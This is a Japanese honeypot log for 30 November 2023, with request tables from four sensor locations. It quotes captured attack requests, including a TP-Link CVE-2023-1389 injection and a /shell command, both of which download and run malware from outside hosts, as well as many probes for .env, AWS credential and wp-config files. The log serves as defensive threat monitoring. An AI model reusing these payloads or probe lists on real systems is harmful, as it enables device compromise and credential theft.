2023/11/30 ハニーポット(仮) 観測記録

ハニーポット(仮) 観測記録 2023/11/30分です。

特徴

共通

TP-Link製品の脆弱性(CVE-2023-1389)を狙うアクセス
zgrabによるスキャン行為
/.envへのスキャン行為

Location:JP

/.gitへのスキャン行為
5.188.210.227に関する不正通信
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 121.62.21.23/jaws;
sh /tmp/jaws

Location:US

Joomla!の脆弱性(CVE-2023-23752)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
CensysInspectによるスキャン行為
aiohttpによるスキャン行為
.jsへのスキャン行為
/.awsへのスキャン行為
WordPressへのスキャン行為
configファイルへのスキャン行為

を確認しました。

Location:UK

Joomla!の脆弱性(CVE-2023-23752)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
CensysInspectによるスキャン行為
.jsへのスキャン行為
/.awsへのスキャン行為
/.gitへのスキャン行為
WordPressへのスキャン行為
configファイルへのスキャン行為

を確認しました。

Location:SG

Joomla!の脆弱性(CVE-2023-23752)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
CensysInspectによるスキャン行為
Nmap Scripting Engineによるスキャン行為
infrawatchによるスキャン行為
.jsへのスキャン行為
/.gitへのスキャン行為
configファイルへのスキャン行為

を確認しました。

他

アクセス数推移

JP：総アクセス数：64 (前日比：-244)
US：総アクセス数：226 (前日比：-304)
UK：総アクセス数：197 (前日比：111)
SG：総アクセス数：113 (前日比：-412)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	5.188.210.227	Russia
3	18.130.61.231	United States
1	45.55.0.43	United States
1	45.56.108.128	United States
1	52.80.126.145	China
1	52.80.202.190	China
1	52.81.61.158	China
2	65.49.1.69	United States
1	65.49.1.74	United States
1	65.49.20.67	United States
2	91.191.209.202	Bulgaria
15	101.32.192.203	Singapore
4	107.172.16.251	United States
1	115.95.10.27	South Korea
15	135.125.244.48	France
2	146.190.108.121	United States
1	185.224.128.160	Netherlands
4	185.254.196.173	Ukraine
2	185.254.196.186	Ukraine
1	198.20.101.86	United States
2	198.235.24.132	United States
2	198.235.24.199	United States

UserAgent一覧

件数	UserAgent
12	-
3	Go-http-client/1.1
1	Hello, world
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
15	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.50
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
1	Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
21	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1	Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0
1	Mozilla/5.0 zgrab/0.x
1	Mozilla/5.0
1	Root Slut
4	https[:]//aff[.]rip/?affiliate_id=9345&keyword=tech+discord+server

リクエスト内容一覧

件数	Method	Request	Protocol
2		\x03
1		\x16\x03\x01\x01\x07\x01
6		\x16\x03\x01
3		``
1	GET	/.DS_Store	HTTP/1.1
21	GET	/.env	HTTP/1.1
1	GET	/.git/config	HTTP/1.1
1	GET	/.vscode/sftp.json	HTTP/1.1
1	GET	/cdn-cgi/trace	HTTP/1.1
1	GET	/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45[.]95[.]146[.]26%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60)	HTTP/1.1
1	GET	/favicon.ico	HTTP/1.1
1	GET	/geoserver/web/	HTTP/1.1
1	GET	/manager/text/list	HTTP/1.1
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+121[.]62[.]21[.]23/jaws;sh+/tmp/jaws	HTTP/1.1
1	GET	/systembc/password.php	HTTP/1.0
1	GET	/webui/	HTTP/1.1
1	GET	http[:]//5[.]188[.]210[.]227/echo.php	HTTP/1.1
4	GET	https[:]//aff[.]rip/?affiliate_id=9345&keyword=tech+discord+server	HTTP/1.1
15	HEAD	/Core/Skin/Login.aspx	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	20.168.14.47	United States
1	45.79.172.21	United States
2	45.79.181.179	United States
2	45.79.181.223	United States
1	45.95.168.191	Croatia
2	54.37.79.75	France
30	57.129.23.166	France
1	64.62.197.24	United States
1	64.62.197.67	United States
1	64.62.197.70	United States
1	64.62.197.72	United States
1	80.66.88.211	Russia
2	83.97.73.87	Germany
6	90.151.171.106	Russia
8	90.151.171.108	Russia
1	95.214.235.169	Ukraine
1	103.125.190.232	Vietnam
1	109.107.183.105	Russia
1	109.107.183.173	Russia
7	132.145.39.16	United States
1	141.98.7.27	Bulgaria
135	141.98.11.107	Lithuania
1	147.78.47.10	Lebanon
2	159.223.38.219	United States
2	162.142.125.13	United States
2	167.71.211.251	United States
2	167.71.217.208	United States
2	172.104.11.4	United States
1	172.104.11.34	United States
1	172.203.242.59	United Kingdom
1	185.224.128.160	Netherlands
1	192.155.90.118	United States
1	192.241.236.14	United States
1	193.35.18.187	Bulgaria
2	205.210.31.6	United States

UserAgent一覧

件数	UserAgent
27	-
2	Go-http-client/1.1
135	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.70
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.46
2	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
7	Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20100101 Firefox/16.0 (+https[:]//best-proxies.ru/faq/#from) Z73802194750Q1
7	Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20100101 Firefox/16.0 (+https[:]//best-proxies.ru/faq/#from)
36	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1	Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
1	Mozilla/5.0 zgrab/0.x
3	Mozilla/5.0
1	Python/3.7 aiohttp/3.7.4.post0
1	Root Slut

リクエスト内容一覧

件数	Method	Request	Protocol
4		\x03
3		\x16\x03\x01\x01\x07\x01
12		\x16\x03\x01
1	CONNECT	check.best-proxies[.]ru:443	HTTP/1.1
1	CONNECT	checkip[.]amazonaws[.]com:443	HTTP/1.1
1	CONNECT	cloudflare[.]com:443	HTTP/1.1
2	CONNECT	eth0[.]me:443	HTTP/1.1
1	CONNECT	fingerprints[.]bablosoft[.]com:443	HTTP/1.1
1	CONNECT	google[.]com:443	HTTP/1.1
2	CONNECT	v4[.]ident[.]me:443	HTTP/1.1
1	GET	/.aws/credentials	HTTP/1.1
1	GET	/.env.backup	HTTP/1.1
1	GET	/.env.dev	HTTP/1.1
1	GET	/.env.docker.dev	HTTP/1.1
1	GET	/.env.example	HTTP/1.1
1	GET	/.env.local	HTTP/1.1
1	GET	/.env.prod	HTTP/1.1
1	GET	/.env.production	HTTP/1.1
1	GET	/.env.save	HTTP/1.1
1	GET	/.env.staging	HTTP/1.1
1	GET	/.env.test.localapi/.env	HTTP/1.1
38	GET	/.env	HTTP/1.1
1	GET	/.s3cfg	HTTP/1.1
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	GET	/User_info/.env	HTTP/1.1
1	GET	/_phpinfo.php	HTTP/1.1
2	GET	/_profiler/phpinfo	HTTP/1.1
1	GET	/_static/.env	HTTP/1.1
1	GET	/actuator/gateway/routes	HTTP/1.1
1	GET	/admin/.env	HTTP/1.1
1	GET	/admin/dashboard/info.php	HTTP/1.1
1	GET	/admin/dashboard/phpinfo.php	HTTP/1.1
1	GET	/admin/info.php	HTTP/1.1
1	GET	/admin/phpinfo	HTTP/1.1
1	GET	/administrator/info.php	HTTP/1.1
1	GET	/administrator/phpinfo.php	HTTP/1.1
1	GET	/api/.env.local	HTTP/1.1
1	GET	/api/.env	HTTP/1.1
1	GET	/api/index.php/v1/config/application?public=true&page%5Boffset%5D=0&page%5Blimit%5D=60	HTTP/1.1
1	GET	/api/info.php	HTTP/1.1
1	GET	/api/src/.env	HTTP/1.1
1	GET	/apis/.env	HTTP/1.1
1	GET	/app/.env	HTTP/1.1
1	GET	/app/config/parameters.yml	HTTP/1.1
1	GET	/apps/.env	HTTP/1.1
1	GET	/asdf.php	HTTP/1.1
1	GET	/audio/.env	HTTP/1.1
1	GET	/back/.env	HTTP/1.1
1	GET	/backend/.env.local	HTTP/1.1
1	GET	/backend/.env	HTTP/1.1
1	GET	/backend/info.php	HTTP/1.1
1	GET	/blue/.env	HTTP/1.1
1	GET	/build/.env	HTTP/1.1
3	GET	/cdn-cgi/trace	HTTP/1.1
1	GET	/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45[.]95[.]146[.]26%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60)	HTTP/1.1
1	GET	/community/.env	HTTP/1.1
1	GET	/config.js	HTTP/1.1
1	GET	/config/.env	HTTP/1.1
1	GET	/config/config.js	HTTP/1.1
1	GET	/config/config.json	HTTP/1.1
1	GET	/config/secrets.yml	HTTP/1.1
1	GET	/content/.env	HTTP/1.1
1	GET	/core/.env	HTTP/1.1
1	GET	/cp/.env	HTTP/1.1
1	GET	/crm/.env	HTTP/1.1
1	GET	/cron/.env	HTTP/1.1
1	GET	/current/.env	HTTP/1.1
1	GET	/dashboard/admin/info.php	HTTP/1.1
1	GET	/dashboard/admin/phpinfo.php	HTTP/1.1
1	GET	/demo/.env	HTTP/1.1
1	GET	/dev/.env	HTTP/1.1
1	GET	/develop/.env	HTTP/1.1
1	GET	/doc/.env	HTTP/1.1
1	GET	/docs/.env	HTTP/1.1
1	GET	/download/.env	HTTP/1.1
1	GET	/engine/.env	HTTP/1.1
1	GET	/env.backup	HTTP/1.1
1	GET	/env.js	HTTP/1.1
1	GET	/error/.env	HTTP/1.1
1	GET	/example27-how-to-load-env/sample01/.env	HTTP/1.1
2	GET	/favicon.ico	HTTP/1.1
1	GET	/fileserver/.env	HTTP/1.1
1	GET	/frontend_dev.php/$	HTTP/1.1
1	GET	/geoserver/web/	HTTP/1.1
1	GET	/html/.env	HTTP/1.1
1	GET	/i.php	HTTP/1.1
1	GET	/images/.env	HTTP/1.1
1	GET	/index.js	HTTP/1.1
1	GET	/index.json	HTTP/1.1
1	GET	/index.php	HTTP/1.1
1	GET	/index1.php	HTTP/1.1
1	GET	/inf.php	HTTP/1.1
2	GET	/info.php	HTTP/1.1
1	GET	/infos.php	HTTP/1.1
1	GET	/js/config.js	HTTP/1.1
1	GET	/laravel/.env.local	HTTP/1.1
1	GET	/laravel/.env	HTTP/1.1
1	GET	/live/.env	HTTP/1.1
1	GET	/local-phpinfo.php	HTTP/1.1
1	GET	/local/.env	HTTP/1.1
1	GET	/login/.env	HTTP/1.1
1	GET	/manager/text/list	HTTP/1.1
1	GET	/media/.env	HTTP/1.1
1	GET	/nginx/.env	HTTP/1.1
1	GET	/old/.env	HTTP/1.1
1	GET	/p.php	HTTP/1.1
1	GET	/php-info	HTTP/1.1
2	GET	/php.php	HTTP/1.1
1	GET	/php/phpinfo.php	HTTP/1.1
2	GET	/phpinfo.php	HTTP/1.1
2	GET	/phpinfo	HTTP/1.1
1	GET	/phpversion.php	HTTP/1.1
1	GET	/pi.php	HTTP/1.1
1	GET	/portal/.env	HTTP/1.1
1	GET	/prod/.env	HTTP/1.1
1	GET	/product/.env	HTTP/1.1
1	GET	/production/.env	HTTP/1.1
1	GET	/project/.env	HTTP/1.1
1	GET	/public/.env	HTTP/1.1
1	GET	/q.php	HTTP/1.1
1	GET	/qa/.env	HTTP/1.1
1	GET	/script/.env	HTTP/1.1
1	GET	/scripts/.env	HTTP/1.1
1	GET	/scripts/phpinfo	HTTP/1.1
1	GET	/server/.env	HTTP/1.1
1	GET	/services/.env	HTTP/1.1
1	GET	/sessions/.env	HTTP/1.1
1	GET	/settings.py	HTTP/1.1
1	GET	/site/.env	HTTP/1.1
1	GET	/src/.env	HTTP/1.1
1	GET	/staging/.env	HTTP/1.1
1	GET	/static/.env	HTTP/1.1
1	GET	/style/.env	HTTP/1.1
1	GET	/system/.env	HTTP/1.1
2	GET	/test.php	HTTP/1.1
1	GET	/test1	HTTP/1.1
1	GET	/test2.php	HTTP/1.1
1	GET	/testing.php	HTTP/1.1
1	GET	/user/.env	HTTP/1.1
1	GET	/v1/.env	HTTP/1.1
1	GET	/web/.env	HTTP/1.1
1	GET	/webui/	HTTP/1.1
1	GET	/wp-config.bak	HTTP/1.1
1	GET	/wp-config.php-backup	HTTP/1.1
1	GET	/wp-config.php.bak	HTTP/1.1
1	GET	/wp-config.php.orig	HTTP/1.1
1	GET	/wp-config.php.save	HTTP/1.1
1	GET	/wp-config.php.txt	HTTP/1.1
1	GET	/wp-config.php_bk	HTTP/1.1
1	GET	/wp-config.php_orig	HTTP/1.1
1	GET	/wp-config.php	HTTP/1.1
1	GET	/wp-config.phpold	HTTP/1.1
1	GET	/wp-config.php~	HTTP/1.1
1	GET	/wp-content/.env	HTTP/1.1
1	GET	http[:]//check[.]best-proxies.ru/ip.php?Z73802194750Q1	HTTP/1.1
1	GET	http[:]//checkip[.]amazonaws[.]com?Z73802194750Q1	HTTP/1.1
2	GET	http[:]//eth0[.]me?Z73802194750Q1	HTTP/1.1
1	GET	http[:]//fingerprints[.]bablosoft[.]com/ip?Z73802194750Q1	HTTP/1.1
2	GET	http[:]//v4[.]ident[.]me?Z73802194750Q1	HTTP/1.1
1	PRI	*	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
2	18.169.163.60	United States
7	35.216.181.8	United States
2	45.33.80.243	United States
1	45.79.172.21	United States
1	45.79.181.104	United States
1	45.79.181.179	United States
2	45.79.181.223	United States
1	45.79.181.251	United States
3	54.36.115.221	France
6	54.37.79.75	France
1	64.62.197.7	United States
1	64.62.197.10	United States
1	64.62.197.14	United States
1	64.62.197.24	United States
1	66.240.192.82	United States
2	78.153.140.221	Russia
2	83.97.73.87	Germany
1	95.214.235.169	Ukraine
1	109.107.183.76	Russia
2	109.107.183.105	Russia
1	111.7.96.163	China
1	139.59.101.104	Singapore
1	141.98.7.27	Bulgaria
135	141.98.11.107	Lithuania
2	146.190.108.121	United States
2	167.94.138.51	United States
2	167.94.145.57	United States
1	172.104.11.4	United States
1	172.105.128.11	United States
1	185.224.128.160	Netherlands
1	192.99.7.195	Canada
1	192.155.90.220	United States
4	195.144.21.56	Seychelles
1	198.199.114.90	United States
2	198.235.24.135	United States
2	205.210.31.84	United States

UserAgent一覧

件数	UserAgent
30	-
1	Go-http-client/1.1
6	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:103.0) Gecko/20100101 Firefox/103.0 abuse.xmco.fr
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
135	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
2	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
11	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
2	Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
1	Mozilla/5.0 zgrab/0.x
3	Mozilla/5.0
1	Root Slut

リクエスト内容一覧

件数	Method	Request	Protocol
3		\x03
1		\x16\x03\x01\x01H\x01
1		\x16\x03\x01\x01\x07\x01
18		\x16\x03\x01
2		``
1	CONNECT	cloudflare[.]com:443	HTTP/1.1
1	GET	/.aws/credentials	HTTP/1.1
1	GET	/.env.backup	HTTP/1.1
1	GET	/.env.dev	HTTP/1.1
1	GET	/.env.docker.dev	HTTP/1.1
1	GET	/.env.example	HTTP/1.1
1	GET	/.env.local	HTTP/1.1
1	GET	/.env.prod	HTTP/1.1
1	GET	/.env.production	HTTP/1.1
1	GET	/.env.save	HTTP/1.1
1	GET	/.env.staging	HTTP/1.1
1	GET	/.env.test.localapi/.env	HTTP/1.1
12	GET	/.env	HTTP/1.1
1	GET	/.git/config	HTTP/1.1
1	GET	/.s3cfg	HTTP/1.1
1	GET	/.well-known/security.txt	HTTP/1.1
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	GET	/User_info/.env	HTTP/1.1
1	GET	/_phpinfo.php	HTTP/1.1
1	GET	/_profiler/phpinfo	HTTP/1.1
1	GET	/_static/.env	HTTP/1.1
1	GET	/actuator/gateway/routes	HTTP/1.1
1	GET	/admin/.env	HTTP/1.1
1	GET	/admin/dashboard/info.php	HTTP/1.1
1	GET	/admin/dashboard/phpinfo.php	HTTP/1.1
1	GET	/admin/info.php	HTTP/1.1
1	GET	/admin/phpinfo	HTTP/1.1
1	GET	/administrator/info.php	HTTP/1.1
1	GET	/administrator/phpinfo.php	HTTP/1.1
1	GET	/api/.env.local	HTTP/1.1
1	GET	/api/.env	HTTP/1.1
1	GET	/api/index.php/v1/config/application?public=true&page%5Boffset%5D=0&page%5Blimit%5D=60	HTTP/1.1
1	GET	/api/info.php	HTTP/1.1
1	GET	/api/src/.env	HTTP/1.1
1	GET	/apis/.env	HTTP/1.1
1	GET	/app/.env	HTTP/1.1
1	GET	/app/config/parameters.yml	HTTP/1.1
1	GET	/apps/.env	HTTP/1.1
1	GET	/asdf.php	HTTP/1.1
1	GET	/audio/.env	HTTP/1.1
1	GET	/back/.env	HTTP/1.1
1	GET	/backend/.env.local	HTTP/1.1
1	GET	/backend/.env	HTTP/1.1
1	GET	/backend/info.php	HTTP/1.1
1	GET	/blue/.env	HTTP/1.1
1	GET	/build/.env	HTTP/1.1
3	GET	/cdn-cgi/trace	HTTP/1.1
1	GET	/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45[.]95[.]146[.]26%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60)	HTTP/1.1
1	GET	/community/.env	HTTP/1.1
1	GET	/config.js	HTTP/1.1
1	GET	/config.json	HTTP/1.1
1	GET	/config/.env	HTTP/1.1
1	GET	/config/config.js	HTTP/1.1
1	GET	/config/config.json	HTTP/1.1
1	GET	/config/secrets.yml	HTTP/1.1
1	GET	/content/.env	HTTP/1.1
1	GET	/core/.env	HTTP/1.1
1	GET	/cp/.env	HTTP/1.1
1	GET	/crm/.env	HTTP/1.1
1	GET	/cron/.env	HTTP/1.1
1	GET	/current/.env	HTTP/1.1
1	GET	/dashboard/admin/info.php	HTTP/1.1
1	GET	/dashboard/admin/phpinfo.php	HTTP/1.1
1	GET	/demo/.env	HTTP/1.1
1	GET	/dev/.env	HTTP/1.1
1	GET	/develop/.env	HTTP/1.1
1	GET	/doc/.env	HTTP/1.1
1	GET	/docs/.env	HTTP/1.1
1	GET	/download/.env	HTTP/1.1
1	GET	/engine/.env	HTTP/1.1
1	GET	/env.backup	HTTP/1.1
1	GET	/env.js	HTTP/1.1
1	GET	/error/.env	HTTP/1.1
1	GET	/example27-how-to-load-env/sample01/.env	HTTP/1.1
5	GET	/favicon.ico	HTTP/1.1
1	GET	/fileserver/.env	HTTP/1.1
1	GET	/frontend_dev.php/$	HTTP/1.1
1	GET	/geoserver/web/	HTTP/1.1
1	GET	/html/.env	HTTP/1.1
1	GET	/i.php	HTTP/1.1
1	GET	/images/.env	HTTP/1.1
1	GET	/index.js	HTTP/1.1
1	GET	/index.json	HTTP/1.1
1	GET	/index.php	HTTP/1.1
1	GET	/index1.php	HTTP/1.1
1	GET	/inf.php	HTTP/1.1
2	GET	/info.php	HTTP/1.1
1	GET	/infos.php	HTTP/1.1
1	GET	/js/config.js	HTTP/1.1
1	GET	/laravel/.env.local	HTTP/1.1
1	GET	/laravel/.env	HTTP/1.1
1	GET	/live/.env	HTTP/1.1
1	GET	/local-phpinfo.php	HTTP/1.1
1	GET	/local/.env	HTTP/1.1
1	GET	/login/.env	HTTP/1.1
1	GET	/manager/text/list	HTTP/1.1
1	GET	/media/.env	HTTP/1.1
1	GET	/nginx/.env	HTTP/1.1
1	GET	/old/.env	HTTP/1.1
1	GET	/p.php	HTTP/1.1
1	GET	/php-info	HTTP/1.1
1	GET	/php.php	HTTP/1.1
1	GET	/php/phpinfo.php	HTTP/1.1
1	GET	/phpinfo.php	HTTP/1.1
1	GET	/phpinfo	HTTP/1.1
1	GET	/phpversion.php	HTTP/1.1
1	GET	/pi.php	HTTP/1.1
1	GET	/portal/.env	HTTP/1.1
1	GET	/prod/.env	HTTP/1.1
1	GET	/product/.env	HTTP/1.1
1	GET	/production/.env	HTTP/1.1
1	GET	/project/.env	HTTP/1.1
1	GET	/public/.env	HTTP/1.1
1	GET	/q.php	HTTP/1.1
1	GET	/qa/.env	HTTP/1.1
1	GET	/robots.txt	HTTP/1.1
1	GET	/script/.env	HTTP/1.1
1	GET	/scripts/.env	HTTP/1.1
1	GET	/scripts/phpinfo	HTTP/1.1
1	GET	/server-status	HTTP/1.1
1	GET	/server/.env	HTTP/1.1
1	GET	/services/.env	HTTP/1.1
1	GET	/sessions/.env	HTTP/1.1
1	GET	/settings.py	HTTP/1.1
1	GET	/site/.env	HTTP/1.1
1	GET	/sitemap.xml	HTTP/1.1
1	GET	/src/.env	HTTP/1.1
1	GET	/staging/.env	HTTP/1.1
1	GET	/static/.env	HTTP/1.1
1	GET	/style/.env	HTTP/1.1
1	GET	/system/.env	HTTP/1.1
1	GET	/telescope/requests	HTTP/1.1
1	GET	/test.php	HTTP/1.1
1	GET	/test1	HTTP/1.1
1	GET	/test2.php	HTTP/1.1
1	GET	/testing.php	HTTP/1.1
1	GET	/user/.env	HTTP/1.1
1	GET	/v1/.env	HTTP/1.1
1	GET	/web/.env	HTTP/1.1
1	GET	/webui/	HTTP/1.1
1	GET	/wp-config.bak	HTTP/1.1
1	GET	/wp-config.php-backup	HTTP/1.1
1	GET	/wp-config.php.bak	HTTP/1.1
1	GET	/wp-config.php.orig	HTTP/1.1
1	GET	/wp-config.php.save	HTTP/1.1
1	GET	/wp-config.php.txt	HTTP/1.1
1	GET	/wp-config.php_bk	HTTP/1.1
1	GET	/wp-config.php_orig	HTTP/1.1
1	GET	/wp-config.php	HTTP/1.1
1	GET	/wp-config.phpold	HTTP/1.1
1	GET	/wp-config.php~	HTTP/1.1
1	GET	/wp-content/.env	HTTP/1.1
2	PRI	*	HTTP/2.0

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
2	4.242.10.80	United States
1	5.62.60.65	United Kingdom
1	20.55.53.144	United States
1	20.80.24.238	United States
7	35.216.181.8	United States
1	45.56.108.128	United States
3	45.79.172.21	United States
1	45.79.181.104	United States
1	45.79.181.179	United States
1	45.79.181.223	United States
2	45.79.181.251	United States
1	52.80.126.145	China
1	52.80.177.122	China
6	54.36.115.221	France
7	54.37.79.75	France
35	57.129.23.166	France
1	64.62.197.198	United States
3	74.82.47.4	United States
2	78.153.140.221	Russia
2	83.97.73.87	Germany
1	95.214.235.169	Ukraine
4	107.172.16.251	United States
1	109.107.183.76	Russia
1	109.107.183.105	Russia
4	139.59.181.152	Singapore
1	141.98.7.27	Bulgaria
1	141.98.7.250	Bulgaria
2	162.142.125.214	United States
2	162.142.125.222	United States
2	172.104.11.46	United States
1	172.105.128.11	United States
3	185.134.22.149	United Kingdom
1	185.224.128.160	Netherlands
1	188.165.52.169	France
1	192.155.90.220	United States
1	192.241.217.36	United States
3	193.35.18.187	Bulgaria
2	198.235.24.225	United States
2	205.210.31.136	United States

UserAgent一覧

件数	UserAgent
23	-
7	Go-http-client/1.1
2	Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
6	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:103.0) Gecko/20100101 Firefox/103.0 abuse.xmco.fr
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 OPR/95.0.0.0 (Edition Yx 05)
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
5	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
51	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0
2	Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
2	Mozilla/5.0 (compatible; Nmap Scripting Engine; https[:]//nmap[.]org/book/nse.html)
3	Mozilla/5.0 infrawatch/0.1
1	Mozilla/5.0 zgrab/0.x
1	Root Slut
4	https[:]//aff[.]rip/?affiliate_id=9345&keyword=tech+discord+server

リクエスト内容一覧

件数	Method	Request	Protocol
2		\x03
1		\x16\x03\x01\x01H\x01
18		\x16\x03\x01
1	CONNECT	blog[.]roblox[.]com:443	HTTP/1.1
1	CONNECT	cloudflare[.]com:443	HTTP/1.1
3	CONNECT	google[.]com:443	HTTP/1.1
53	GET	/.env	HTTP/1.1
2	GET	/.git/config	HTTP/1.1
1	GET	/.vscode/sftp.json	HTTP/1.1
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	GET	/Ep1v	HTTP/1.1
1	GET	/GWqN	HTTP/1.1
1	GET	/HNAP1	HTTP/1.1
1	GET	/OV7W8spATLJRkKCXqmeitwf6ISq	HTTP/1.1
1	GET	/PSIA/index	HTTP/1.1
1	GET	/actuator/gateway/routes	HTTP/1.1
1	GET	/api/index.php/v1/config/application?public=true&page%5Boffset%5D=0&page%5Blimit%5D=60	HTTP/1.1
1	GET	/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45[.]95[.]146[.]26%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60)	HTTP/1.1
1	GET	/config.json	HTTP/1.1
1	GET	/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application	HTTP/1.1
4	GET	/favicon.ico	HTTP/1.1
1	GET	/geoserver/web/	HTTP/1.1
1	GET	/info.php	HTTP/1.1
1	GET	/manager/text/list	HTTP/1.1
1	GET	/owa/auth/x.js	HTTP/1.1
1	GET	/server-status	HTTP/1.1
1	GET	/systembc/password.php	HTTP/1.0
1	GET	/systembc/password.php	HTTP/1.1
1	GET	/telescope/requests	HTTP/1.1
1	GET	/webui/	HTTP/1.1
4	GET	https[:]//aff[.]rip/?affiliate_id=9345&keyword=tech+discord+server	HTTP/1.1
1	POST	/onvif/device_service	HTTP/1.1
2	PRI	*	HTTP/2.0